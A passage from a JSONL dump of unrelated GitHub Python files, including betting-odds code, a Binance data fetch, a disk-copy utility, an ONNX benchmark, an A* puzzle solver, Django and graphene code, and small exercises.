neg_prob = cur_neg_prob - prob # previous neg probs - cur prob\n adj_factor = cur_adj_factor * prob / neg_prob\n # print(adj_factor, neg_prob)\n included_r.append(horse)\n horses = calc_places_prob(\n horses, neg_prob, adj_factor, included_r, recursion_level\n )\n included_r.remove(horse)\n return horses\n\n\ndef calc_horse_place_probs(horses):\n probs = normalize_probs(list(horses.values()))\n place_probs_r = [[0 for _ in horses] for _ in horses]\n for i, item in enumerate(place_probs_r):\n item[0] = list(probs)[i]\n\n horses = dict(zip(horses.keys(), place_probs_r))\n return calc_places_prob(horses)\n\n\ndef get_betfair_odds(races_df, odds_df):\n for index, race in (\n races_df.query(\"time > @datetime.now()\")\n .sort_values(\"time\", ascending=True)\n .sort_index(level=1)\n .iterrows()\n ):\n horses_win = {}\n horses_place = {}\n for name, selection_id in odds_df.loc[index, \"Betfair Exchange Win\"][\n \"selection_id\"\n ].items():\n try:\n horses_win[name] = betfair.get_odds(race[\"win_market_id\"], selection_id)\n horses_place[name] = betfair.get_odds(\n race[\"place_market_id\"], selection_id\n )\n except (MatcherError, ValueError):\n odds_df.drop((index[0], index[1], name), inplace=True)\n continue\n update_odds_df(odds_df, index[0], index[1], horses_win, \"Betfair Exchange Win\")\n update_odds_df(\n odds_df, index[0], index[1], horses_place, \"Betfair Exchange Place\"\n )\n\n\ndef run_exchange_bet():\n betfair.get_daily_races()\n","repo_name":"tom-pollak/each-way-matcher","sub_path":"matcher/exchange_place.py","file_name":"exchange_place.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"27"} +{"seq_id":"5717466498","text":"myList = []\ncounter = 0\nb = 0\nwhile True:\n a = input() #takes input \n a = (a.lower())\n if a == \"###\": # stops the loop when met with ###\n break\n myList+=a.split() # all the words are in this list\nif len(myList) == 1: # check if there is only one word\n print(myList[0])\nfor x in myList: # now check if there is more than one time that the same word appears\n a = myList.count(x)\n if a >1:\n b = x\n counter+=1\nif counter > 1:\n print(b) \n","repo_name":"pranjaj011/CEMC-CS-circles-exercises","sub_path":"Chapter15/Poetic Analysis.py","file_name":"Poetic Analysis.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"38753886430","text":"with open(\"../account.txt\") as f:\n lines = f.readlines()\n api_key = lines[0].strip()\n api_secret = lines[1].strip()\n\n\nfrom binance.client import Client\nclient = Client(api_key=api_key, api_secret=api_secret)\ndata = client.futures_historical_klines(\n symbol=\"BTCUSDT\",\n interval='1d',\n start_str='2021-01-01',\n end_str=\"2021-11-26\"\n)\nprint(data)","repo_name":"alveraboquet/learningspoons-bootcamp-finance","sub_path":"python-binance2/unit_futures/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"28371820671","text":"# -*- coding: utf-8 -*-\nimport os\nimport os.path as osp\nimport shutil\n\nimport numpy as np\nfrom psutil import disk_partitions, disk_usage\n\nfrom joblib import Parallel, delayed\nfrom zqy_utils import filesize_to_str, make_dir\n\n\n\"\"\"\nutility functions to copy from remote disk to multiple local disks\n\"\"\"\n\n\ndef get_avaliable_disks(min_size=1024, ignored_disks=(\"/\", \"/boot\")):\n disks_list = []\n for disk in disk_partitions():\n path = disk.mountpoint\n if path in ignored_disks:\n continue\n if disk_usage(path).free > min_size:\n disks_list.append(path)\n return disks_list\n\n\ndef get_ready_disks(disks_list, total=1024):\n for disk in disks_list[:]:\n if not os.access(disk, os.W_OK):\n print(f\"cant make dir in {disk}, maybe you dont have right to \")\n disks_list.remove(disk)\n size_list = sorted([disk_usage(path).free for path in disks_list])\n disks_list = sorted(disks_list, key=lambda path: disk_usage(path).free)\n\n for i, size in enumerate(size_list):\n if size > total/(len(size_list) - 1) + 1:\n break\n else:\n return []\n return disks_list[i:]\n\n\ndef copy_and_link(src_root, relative_path, files_list, target_root, overwrite=True):\n target_dir = make_dir(target_root, relative_path)\n username = os.environ[\"USER\"]\n for path in files_list:\n filename = osp.basename(path)\n src_dir = make_dir(src_root, username, relative_path)\n src_file = osp.join(src_dir, filename)\n dst_file = osp.join(target_dir, filename)\n if osp.exists(dst_file):\n if overwrite:\n os.remove(dst_file)\n else:\n raise ValueError(f\"{dst_file} already exist\")\n shutil.copy2(path, src_file)\n os.symlink(src_file, dst_file)\n\n\ndef make_copies(src_root_list, target_root, relative_path,\n disks_list=None,\n random=False):\n \"\"\"\n if relative_path is Noner\n final_root = {target_root}/{relative_path}\n \"\"\"\n final_root = make_dir(target_root, relative_path)\n\n if isinstance(src_root_list, str):\n src_root_list = [src_root_list]\n file_list = []\n size_list = []\n for src_root in src_root_list:\n if osp.isfile(src_root):\n file_list.append(src_root)\n size_list.append(osp.getsize(src_root))\n elif osp.isdir(src_root):\n for root, dirs, files in os.walk(src_root):\n for f in files:\n path = osp.join(root, f)\n file_list.append(path)\n size_list.append(osp.getsize(path))\n else:\n raise ValueError(f\"unsupported type: {src_root}\")\n\n total_size = sum(size_list)\n total_size_str = filesize_to_str(total_size)\n print(f\"copying {len(file_list)}({total_size_str}) to {final_root}\")\n if disks_list is None:\n disks_list = get_avaliable_disks()\n # from small to large\n disks_list = get_ready_disks(disks_list)\n # todo: make balanced loaders\n indices = range(len(file_list))\n if random:\n indices = np.random.permutation(indices)\n size = 0\n files = []\n thresh = total_size/len(disks_list)\n mapping_dict = {}\n for index in indices:\n files.append(file_list[index])\n size += size_list[index]\n if size > thresh:\n for disk in disks_list[:]:\n if disk_usage(disk).free > size:\n mapping_dict[disk] = files\n print(\n f\"will copy {len(files)}({filesize_to_str(size)}) files to {disk}\")\n files = []\n size = 0\n disks_list.remove(disk)\n break\n else:\n raise ValueError(f\"no disk larger than {size}\")\n disk = disks_list[0]\n assert len(disks_list) == 1 and disk_usage(\n disk).free > size, \"soemthing wrong\"\n mapping_dict[disk] = files\n print(f\"will copy {len(files)}({filesize_to_str(size)}) files to {disk}\")\n\n param_list = [[disk, relative_path, file_list, target_root]\n for disk, file_list in mapping_dict.items()]\n Parallel(n_jobs=len(mapping_dict))(delayed(copy_and_link)(*param)\n for param in param_list)\n\n return mapping_dict\n\n\n__all__ = [k for k in globals().keys() if not k.startswith(\"_\")]\n","repo_name":"qianyizhang/zqy-utils","sub_path":"zqy_utils/dist_copy.py","file_name":"dist_copy.py","file_ext":"py","file_size_in_byte":4392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"24288365615","text":"# coding: utf-8\n\"\"\"\nBenchmark of :epkg:`onnxruntime` on all unit tests from\n:epkg:`skl2onnx`.\n\"\"\"\n# Authors: Xavier Dupré (benchmark)\n# License: MIT\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport os\nimport unittest\nimport warnings\nimport contextlib\nfrom time import perf_counter as time\nfrom io import StringIO\nimport numpy\nimport pandas\nimport matplotlib.pyplot as plt\nimport sklearn\nfrom sklearn.utils._testing import ignore_warnings\nfrom sklearn.utils.extmath import softmax\nfrom pyquickhelper.loghelper import run_cmd, sys_path_append\nfrom pymlbenchmark.context import machine_information\n\n\ndef run_all_tests(location, folder=None, verbose=True):\n \"\"\"\n Runs all unit tests or unit tests specific to one library.\n The tests produce a series of files dumped into ``folder``\n which can be later used to tests a backend (or a runtime).\n \"\"\"\n if folder is None:\n raise ValueError(\"folder cannot be None\")\n os.environ[\"ONNXTESTDUMP\"] = folder\n os.environ[\"ONNXTESTDUMPERROR\"] = \"1\"\n os.environ[\"ONNXTESTBENCHMARK\"] = \"1\"\n\n if verbose:\n print(\"[benchmark] look into '{0}'\".format(location))\n print(\"[benchmark] dump into '{0}'\".format(folder))\n\n subs = [location]\n loader = unittest.TestLoader()\n suites = []\n\n for sub in subs:\n fold = os.path.join(this, sub)\n if not os.path.exists(fold):\n raise FileNotFoundError(\"Unable to find '{0}'\".format(fold))\n\n with sys_path_append(fold):\n names = [_ for _ in os.listdir(fold) if _.startswith(\"test\")]\n for name in names:\n if \"test_utils\" in name:\n continue\n if \"dump\" in name.lower():\n continue\n name = os.path.splitext(name)[0]\n ts = loader.loadTestsFromName(name)\n suites.append(ts)\n\n with warnings.catch_warnings():\n warnings.filterwarnings(category=DeprecationWarning, action=\"ignore\")\n warnings.filterwarnings(category=FutureWarning, action=\"ignore\")\n st = StringIO()\n runner = unittest.TextTestRunner(st, verbosity=0)\n name = \"\"\n for tsi, ts in enumerate(suites):\n for k in ts:\n try:\n for t in k:\n name = t.__class__.__name__\n break\n except TypeError as e:\n warnings.warn(\n \"[ERROR] Unable to run test '{}' - {}.\".format(ts, str(e).replace(\"\\n\", \" \")))\n if verbose:\n print(\"[benchmark] {}/{}: '{}'\".format(tsi + 1, len(suites), name))\n with contextlib.redirect_stderr(st):\n with contextlib.redirect_stdout(st):\n runner.run(ts)\n\n from test_utils.tests_helper import make_report_backend\n df = make_report_backend(folder, as_df=True)\n return df\n\n\n#########################\n# Clones skl2onnx\n# +++++++++++++++\n\nthis = os.path.abspath(os.path.dirname(__file__))\nskl = os.path.join(this, \"sklearn-onnx\")\nif os.path.exists(skl):\n pth = skl\n cmd = \"git pull\"\nelse:\n pth = None\n cmd = \"git clone https://github.com/onnx/sklearn-onnx.git \" + skl\nrun_cmd(cmd, wait=True, change_path=pth, fLOG=print)\n\n#########################\n# Runs the benchmark\n# ++++++++++++++++++\n\nfolder = os.path.join(this, 'onnxruntime-skl2onnx')\nlocation = os.path.join(this, 'sklearn-onnx', \"tests\")\nfilename = os.path.splitext(os.path.split(__file__)[-1])[0]\nfull_filename = filename + \".perf.csv\"\nif not os.path.exists(full_filename):\n with sklearn.config_context(assume_finite=True):\n df = run_all_tests(location, folder, verbose=True)\n print(\"[benchmark] saves into '{}'.\".format(full_filename))\n df.to_csv(full_filename, index=False)\nelse:\n print(\"[benchmark] restores from '{}'.\".format(full_filename))\n df = pandas.read_csv(full_filename)\nprint(df.head())\n\n#########################\n# Extracts information about the machine used\n# +++++++++++++++++++++++++++++++++++++++++++\n\npkgs = ['numpy', 'pandas', 'sklearn', 'skl2onnx', 'onnxruntime', 'onnx']\ndfi = pandas.DataFrame(machine_information(pkgs))\ndfi.to_csv(\"%s.time.csv\" % filename, index=False)\nprint(dfi)\n\n#########################\n# Shows errors.\n# +++++++++++++\n\nif 'stderr' in df.columns:\n err = df[~df.stderr.isnull()]\n err = err[[\"_model\", \"stderr\"]]\n err.to_csv(filename + \".err.csv\", index=False)\n print(err)\nelse:\n print('no error.')\n df['stderr'] = numpy.nan\n\n#############################\n# Plot the results by time\n# ++++++++++++++++++++++++\n\ndf = df[df.stderr.isnull() & ~df.ratio.isnull()].sort_values(\"ratio\").copy()\ndf['model'] = df['_model'].apply(lambda s: s.replace(\"Sklearn\", \"\"))\n\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\ndf.plot(x=\"original_time\", y=\"ratio\", ax=ax,\n logx=True, logy=True, kind=\"scatter\")\nxmin, xmax = df.original_time.min(), df.original_time.max()\nax.plot([xmin, xmax], [1, 1], \"--\", label=\"1x\")\nax.plot([xmin, xmax], [2, 2], \"--\", label=\"2x slower\")\nax.plot([xmin, xmax], [0.5, 0.5], \"--\", label=\"2x faster\")\nax.set_title(\"Ratio onnxruntime / scikit-learn\\nLower is better\")\nax.set_xlabel(\"execution time with scikit-learn (seconds)\")\nax.set_ylabel(\"Ratio onnxruntime / scikit-learn\\nLower is better.\")\nax.legend()\nfig.tight_layout()\nfig.savefig(\"%s.xy.png\" % filename)\n\n\n#############################\n# Plot the results by model\n# +++++++++++++++++++++++++\n\n\nfig, ax = plt.subplots(1, 1, figsize=(10, 25))\ndf.plot.barh(x=\"model\", y=\"ratio\", ax=ax, logx=True)\nymin, ymax = ax.get_ylim()\nax.plot([0.5, 0.5], [ymin, ymax], '--', label=\"2x faster\")\nax.plot([1, 1], [ymin, ymax], '-', label=\"1x\")\nax.plot([2, 2], [ymin, ymax], '--', label=\"2x slower\")\nfor tick in ax.yaxis.get_major_ticks():\n tick.label.set_fontsize(8)\nax.legend(loc='upper left')\nax.grid()\nax.set_title(\"Ratio onnxruntime / scikit-learn\\nLower is better\")\nfig.tight_layout()\nfig.savefig(\"%s.model.png\" % filename)\n\nimport sys\nif \"--quiet\" not in sys.argv:\n plt.show()\n","repo_name":"sdpython/_benchmarks","sub_path":"onnx/bench_plot_skl2onnx_unittest.py","file_name":"bench_plot_skl2onnx_unittest.py","file_ext":"py","file_size_in_byte":6022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"26842579797","text":"# coding=utf-8\nimport pytest\n\nfrom tests import assertions\nfrom tests import control\n\n\n@pytest.fixture\ndef task(running_app, monkeypatch):\n from task_widgets.calculation.numbers_calculation import NumbersCalculation\n\n return NumbersCalculation(\n first=1,\n second=2,\n mode=0\n )\n\n\ndef test_base_build(task):\n assert task.answer_widget is None\n assert task.description_widget is None\n task.show_intro_hint()\n task.start()\n assert task.answer_widget\n assert task.description_widget\n assert task.intro_hint is None\n\n\ndef test_base_answer(task, tracker, google_client, mocker, vibrator):\n from managers.database import database_manager\n mocker.spy(database_manager, 'add_stat')\n from task_widgets.calculation.numbers_calculation import NumbersCalculation\n task = NumbersCalculation()\n task.start()\n\n correct_button = task.get_correct_answer_widgets()\n incorrect_button = [button for button in task.answer_widget.buttons if button not in correct_button][0]\n control.press(incorrect_button)\n assert task.mistakes_count == 1\n assertions.assert_vibrated(vibrator, 100)\n correct_button = correct_button[0]\n control.press(correct_button)\n assert task.successful\n assertions.assert_tracker_event_sent(tracker, 'tasks', 'class', label=\"numbers_calculation\")\n assertions.assert_achievement_incremented(google_client, \"general_cognitive\")\n assertions.assert_achievement_incremented(google_client, \"sergeant_cognitive\")\n assertions.assert_achievement_incremented(google_client, \"major_cognitive\")\n assertions.assert_achievement_incremented(google_client, \"lieutenant_cognitive\")\n assertions.assert_achievement_incremented(google_client, \"colonel_cognitive\")\n\n assert database_manager.add_stat.called\n\n\ndef test_status_bar(running_app):\n from task_widgets.task_base.status_bar import TaskStatusBar\n status_bar = TaskStatusBar()\n assert status_bar.correctness_widget\n assert status_bar.points_widget\n status_bar.mistakes_count = 1\n assert status_bar.correctness_widget.text == u\"[color=#408742ff][font=glyphicons][/font]0[/color] \" \\\n u\"[color=#eb542cff][font=glyphicons][/font]1[/color]\"\n status_bar.correct_count = 1\n assert status_bar.correctness_widget.text == u\"[color=#408742ff][font=glyphicons][/font]1[/color] \" \\\n u\"[color=#eb542cff][font=glyphicons][/font]1[/color]\"\n status_bar.points = 100\n assert status_bar.points_widget.text == u\"100\\n[size=10]POINTS[/font]\"\n status_bar.time = 10\n assert status_bar.time_widget.label.text == u\"[b]10.0[/b] [size=16]sec[/size]\"\n","repo_name":"thorin-schiffer/kognitivo","sub_path":"tests/tasks/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"27"} +{"seq_id":"15672911710","text":"import queue as Q\n\n\nclass AStar:\n def __init__(self, graph, root):\n self.graph = graph\n self.root = root\n self.visited = dict()\n self.queue = Q.PriorityQueue()\n self.counter = 0\n\n def run(self, target):\n self.queue.put((self.root.step, self.root, int(self.root.UID)))\n while self.queue:\n current_state = self.queue.get()[1]\n self.counter += 1\n if current_state.is_equal(target):\n return True, self.counter, current_state.step\n if self.visited.get(current_state.UID) is None:\n self.visited[current_state.UID] = current_state\n neighbor_nodes = self.graph.reveal_neighbors(current_state)\n for neighbor in neighbor_nodes:\n self.queue.put((neighbor.step + self.manhattan_distance(neighbor,target), neighbor, int(neighbor.UID)))\n return False, self.counter, 0\n\n def manhattan_distance(self, node, end):\n arr = [0] * (self.graph.size + 1)\n brr = [0] * (self.graph.size + 1)\n for i in range(len(node.g_node)):\n for j in range(len(node.g_node[i])):\n arr[node.g_node[i][j]] = [i, j]\n\n for i in range(len(end.g_node)):\n for j in range(len(end.g_node[i])):\n brr[end.g_node[i][j]] = [i, j]\n dist = 0\n for i in range(1, len(arr)):\n dist += abs(arr[i][0] - brr[i][0]) + abs(arr[i][1] - brr[i][1])\n return dist\n","repo_name":"GokselOnal/Artificial-Intelligence","sub_path":"N-Puzzle/AStar.py","file_name":"AStar.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"26230058722","text":"import graphene\nfrom graphene_django import DjangoObjectType\nfrom graphene_django.filter import DjangoFilterConnectionField\nimport django_filters\nimport maintdx.assets.models as assets\nfrom django.conf import settings\n\n\nclass CategoryNode(DjangoObjectType):\n class Meta:\n model = assets.Category\n filter_fields = {\"name\": [\"exact\", \"istartswith\", \"icontains\"]}\n interfaces = (graphene.relay.Node,)\n\n\nclass LocationNode(DjangoObjectType):\n class Meta:\n model = assets.Location\n filter_fields = {\"name\": [\"exact\", \"istartswith\", \"icontains\"]}\n interfaces = (graphene.relay.Node,)\n\n\nclass DepartmentNode(DjangoObjectType):\n class Meta:\n model = assets.Department\n filter_fields = {\n \"name\": [\"exact\", \"istartswith\", \"icontains\"],\n \"location__id\": [\"exact\"],\n \"location__name\": [\"exact\", \"istartswith\", \"icontains\"],\n }\n interfaces = (graphene.relay.Node,)\n\n\nclass AssetStatusNode(DjangoObjectType):\n class Meta:\n model = assets.AssetStatus\n interfaces = (graphene.relay.Node,)\n\n\nclass AssetGroupNode(DjangoObjectType):\n class Meta:\n model = assets.AssetGroup\n interfaces = (graphene.relay.Node,)\n\n\nclass AssetNode(DjangoObjectType):\n image_url = graphene.String()\n\n def resolve_image_url(self, info):\n return f\"{settings.ABSOLUTE_MEDIA_URL}{self.image}\"\n\n class Meta:\n model = assets.Asset\n filter_fields = {\n \"name\": [\"exact\", \"istartswith\", \"icontains\"],\n \"description\": [\"exact\", \"istartswith\", \"icontains\"],\n \"category__id\": [\"exact\"],\n \"category__name\": [\"exact\", \"istartswith\", \"icontains\"],\n \"parent__id\": [\"exact\"],\n \"department__id\": [\"exact\"],\n \"department__name\": [\"exact\", \"istartswith\", \"icontains\"],\n \"serial_number\": [\"exact\", \"istartswith\", \"icontains\"],\n \"make\": [\"exact\", \"istartswith\", \"icontains\"],\n \"model\": [\"exact\", \"istartswith\", \"icontains\"],\n }\n interfaces = (graphene.relay.Node,)\n\n\nclass AssetAttachmentNode(DjangoObjectType):\n class Meta:\n model = assets.AssetAttachment\n filter_fields = {\n \"asset__id\": [\"exact\"],\n \"asset__name\": [\"exact\", \"istartswith\", \"icontains\"],\n }\n interfaces = (graphene.relay.Node,)\n\n\nclass Query(graphene.ObjectType):\n all_categories = DjangoFilterConnectionField(CategoryNode)\n all_locations = DjangoFilterConnectionField(LocationNode)\n all_departments = DjangoFilterConnectionField(DepartmentNode)\n all_assets = DjangoFilterConnectionField(AssetNode)\n all_asset_attachments = DjangoFilterConnectionField(AssetAttachmentNode)\n\n category = graphene.Node.Field(CategoryNode)\n location = graphene.Node.Field(LocationNode)\n department = graphene.Node.Field(DepartmentNode)\n asset = graphene.Node.Field(AssetNode)\n asset_group = graphene.Node.Field(AssetGroupNode)\n asset_status = graphene.Node.Field(AssetStatusNode)\n asset_attachment = graphene.Node.Field(AssetAttachmentNode)\n","repo_name":"phrac/maintdx","sub_path":"assets/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"37159152305","text":"\"\"\"added user phone number\n\nRevision ID: 436f06e6408d\nRevises: dd272afd1e32\nCreate Date: 2023-07-26 11:00:21.945123\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '436f06e6408d'\ndown_revision = 'dd272afd1e32'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### adding phone_number column to users ###\n op.add_column(\n table_name='users', \n column=sa.Column(\n name='phone_number',\n type_=sa.VARCHAR(length=50),\n nullable=True\n )\n )\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### dropping phone_number column from users ###\n op.drop_column('users', 'phone_number')\n # ### end Alembic commands ###\n","repo_name":"Brisinger/Sqlalchemy","sub_path":"src/alembic/versions/436f06e6408d_added_user_phone_number.py","file_name":"436f06e6408d_added_user_phone_number.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70336835271","text":"import random\r\n\r\nprint(\"Welcome to your fortune teller! Feel free to ask any question. Remember, no inappropriate questions!\")\r\nwhile(True):\r\n choice = str(input(\"Do you wish to continue? (Y\\y or N/n): \"))\r\n if(choice.lower() == 'y'):\r\n question = input(\"Ask a question: \")\r\n n = random.randint(0,8)\r\n if(n==0):\r\n print(\"Yes\\n\")\r\n elif(n==1):\r\n print(\"Ask me later\\n\")\r\n elif(n==2):\r\n print(\"Better to go with a 'no'...\\n\")\r\n elif(n==3):\r\n print(\"Certainly for sure!\\n\")\r\n elif(n==4):\r\n print(\"You might not want to know now...\\n\")\r\n elif(n==5):\r\n print(\"Probably not\\n\")\r\n elif(n==6):\r\n print(\"Never\\n\")\r\n elif(n==7):\r\n print(\"There are high chances!\\n\")\r\n elif(n==8):\r\n print(\"You may conclude so.\\n\")\r\n else:\r\n break\r\n\r\n elif(choice.lower() == 'n'):\r\n print(\"Thank you for playing. Come back soon!\\n\")\r\n\r\n else:\r\n print(\"Please enter a valid option!\\n\")\r\n\r\n \r\n \r\n","repo_name":"Akshu-on-github/Basic-Programs-Python","sub_path":"Programs/fortune_teller.py","file_name":"fortune_teller.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"27"} +{"seq_id":"7234650808","text":"\"\"\"CIFAR10 small images classification dataset.\n\"\"\"\nimport os\nfrom .cifar import load_batch\nfrom .common import download\nimport numpy as np\n\n\ndef load_data():\n \"\"\"Loads CIFAR10 dataset.\n # Returns\n Tuple of Numpy arrays: `(x_train, y_train), (x_test, y_test)`.\n \"\"\"\n # path = get_file(dirname, origin=origin, untar=True)\n path = download('https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz', untar_name='cifar-10-batches-py')\n\n num_train_samples = 50000\n\n x_train = np.empty((num_train_samples, 3, 32, 32), dtype='uint8')\n y_train = np.empty((num_train_samples,), dtype='uint8')\n\n for i in range(1, 6):\n fpath = os.path.join(path, 'data_batch_' + str(i))\n (x_train[(i - 1) * 10000: i * 10000, :, :, :],\n y_train[(i - 1) * 10000: i * 10000]) = load_batch(fpath)\n\n fpath = os.path.join(path, 'test_batch')\n x_test, y_test = load_batch(fpath)\n\n y_train = np.reshape(y_train, (len(y_train), 1))\n y_test = np.reshape(y_test, (len(y_test), 1))\n\n return (x_train, y_train), (x_test, y_test)\n","repo_name":"ipod825/keraflow","sub_path":"keraflow/datasets/cifar10.py","file_name":"cifar10.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"27"} +{"seq_id":"27742376805","text":"from django import forms \nfrom .models import *\nfrom taggit.models import Tag \n\nclass dateInput(forms.DateInput):\n input_type = \"date\"\n\n\nclass jobForms(forms.models.ModelForm):\n deadline = forms.DateField(widget=dateInput)\n is_published = forms.BooleanField()\n # tags = forms.ModelMultipleChoiceField(label='Tags', queryset=Tag.objects.order_by('name'),widget=forms.SelectMultiple)\n\n class Meta:\n model = Job\n fields = ['title', 'category', 'description', 'company_name', 'company_description', 'company_email', 'vacancy',\n 'company_image', 'location', 'job_type', 'salary', 'website_url', 'deadline', 'is_published', 'is_closed']\n \n \n def __init__(self, *args, **kwargs):\n super(jobForms, self).__init__(*args, **kwargs)\n self.fields['salary'].widget.attrs['placeholder'] = 'exp:50,000-80,000'\n for field in self.fields:\n self.fields[field].widget.attrs['class'] = 'form-control'\n # self.fields['deadline'].widget.attrs['class'] = 'col-md-6'\n self.fields['is_published'].widget.attrs['class'] = 'form-check-input'\n self.fields['is_closed'].widget.attrs['class'] = 'form-check-input'\n\n\nclass applicationForm(forms.models.ModelForm):\n class Meta:\n model = Application\n fields = ['content','resume']\n \n def __init__(self, *args, **kwargs):\n super(applicationForm, self).__init__(*args, **kwargs)\n for field in self.fields:\n self.fields[field].widget.attrs['class'] = 'form-control'\n \nclass ConversationMessagesForm(forms.models.ModelForm):\n class Meta:\n model = ConversationMessages\n fields = ['content']\n \n def __init__(self, *args, **kwargs):\n super(ConversationMessagesForm, self).__init__(*args, **kwargs)\n for field in self.fields:\n self.fields[field].widget.attrs['class'] = 'form-control'\n \n \n","repo_name":"MdAshiqurRahmanZayed/Job-Portal","sub_path":"main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"27"} +{"seq_id":"1871159340","text":"class Solution:\n # def dailyTemperatures(self, T):#超时不通过的垃圾\n # res = [0] * len(T)\n # for i in range(len(T)):\n # if T[i]<100:\n # for sub_indx in range(i,len(T)):\n # if T[sub_indx]>T[i]:\n # res[i]=sub_indx-i\n # break\n #\n # return res\n\n # def dailyTemperatures(self, T):\n # length = len(T)\n # ans = [0] * length\n # next = [float('inf')] * 101\n # for i in range(length-1,-1,-1):\n # warmerIndex = float('inf')\n # for t in range(T[i]+1,101):\n # if(next[t]stack[-1][-1]:\n # while stack and T[i]>stack[-1][-1]:\n # pop_element = stack.pop()\n # ans[pop_element[0]] = i - pop_element[0]\n # stack.append([i,T[i]])\n #\n # else:\n # stack.append([i,T[i]])\n #\n # print(ans)\n\n def dailyTemperatures(self, T):\n ans = [0]*len(T)\n stack = []\n for i in range(len(T)):\n while len(stack)!=0 and T[i]>T[stack[-1]]:\n t = stack.pop()\n ans[t] = i - t\n\n stack.append(i)\n\n return ans\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n temperatures = [73, 74, 75, 71, 69, 72, 76, 73]\n S =Solution()\n res = S.dailyTemperatures(temperatures)\n print(res)\n\n\n","repo_name":"wuchenxi118/lc","sub_path":"num739.py","file_name":"num739.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22686424882","text":"from cgi import test\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\nimport torchvision\nfrom torchvision import datasets, models, transforms\nimport matplotlib.pyplot as plt\nimport time\n# You might not have tqdm, which gives you nice progress bars\nfrom tqdm.notebook import tqdm\nimport os\nimport copy\nimport json\n\n\n# Detect if we have a GPU available\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nif torch.cuda.is_available():\n print(\"Using the GPU!\")\nelse:\n print(\"WARNING: Could not find GPU! Using CPU only\")\n\n\ninput_size = 224\nbatch_size = 8\nshuffle_datasets = True\ndata_dir = \"static/\"\nis_labelled = False \ngenerate_labels = True\nk = 3\n\ndef get_dataloaders():\n # transform the image when loading them.\n # can change transforms on the training set.\n \n # For now, we resize/crop the image to the correct input size for our network,\n # then convert it to a [C,H,W] tensor, then normalize it to values with a given mean/stdev. These normalization constants\n # are derived from aggregating lots of data and happen to produce better results.\n data_transforms = {\n 'test': transforms.Compose([\n transforms.Resize(input_size),\n transforms.CenterCrop(input_size),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]),\n 'val': transforms.Compose([\n transforms.Resize(input_size),\n transforms.CenterCrop(input_size),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]),\n } \n # Create training and validation datasets\n image_datasets = {x: datasets.ImageFolder(os.path.join(data_dir, x), data_transforms[x]) for x in data_transforms.keys()}\n # Create training and validation dataloaders\n # Never shuffle the test set\n dataloaders_dict = {x: torch.utils.data.DataLoader(image_datasets[x], batch_size=batch_size, shuffle=False if x != 'train' else True, num_workers=4) for x in data_transforms.keys()}\n return dataloaders_dict \n\ndataloaders = get_dataloaders() \n\ndef label_number_to_name(lbl_ix):\n return dataloaders['val'].dataset.classes[lbl_ix]\n\n\ndef dataset_labels_to_names(dataset_labels, dataset_name):\n # dataset_name is one of 'train','test','val'\n dataset_root = os.path.join(data_dir, dataset_name)\n found_files = []\n for parentdir, subdirs, subfns in os.walk(dataset_root):\n parentdir_nice = os.path.relpath(parentdir, dataset_root)\n found_files.extend([os.path.join(parentdir_nice, fn) for fn in subfns if fn.endswith('.jpg') or fn.endswith('.jpeg')])\n # Sort alphabetically, this is the order that our dataset will be in\n found_files.sort()\n # Now we have two parallel arrays, one with names, and the other with predictions\n assert len(found_files) == len(dataset_labels), \"Found more files than we have labels\"\n preds = {os.path.basename(found_files[i]):list(map(label_number_to_name, dataset_labels[i])) for i in range(len(found_files))}\n return preds\n\ndef get_prediction():\n model = models.resnet18(pretrained=False) # UPDATE WITH BEST MODEL\n num_ftrs = model.fc.in_features\n model.fc = nn.Linear(num_ftrs, 25) # num_classes = 25\n model.load_state_dict(torch.load(\"Resnet_Non_Augmented_Weights_Best.pt\", map_location=torch.device('cpu')))\n\n predicted_labels = []\n\n model.eval()\n\n # print(dataloaders[\"test\"])\n\n for inputs, labels in dataloaders[\"test\"]:\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # with torch.set_grad_enabled(False):\n # outputs = model(inputs)\n # _, preds = torch.topk(outputs, k=3, dim=1)\n # nparr = 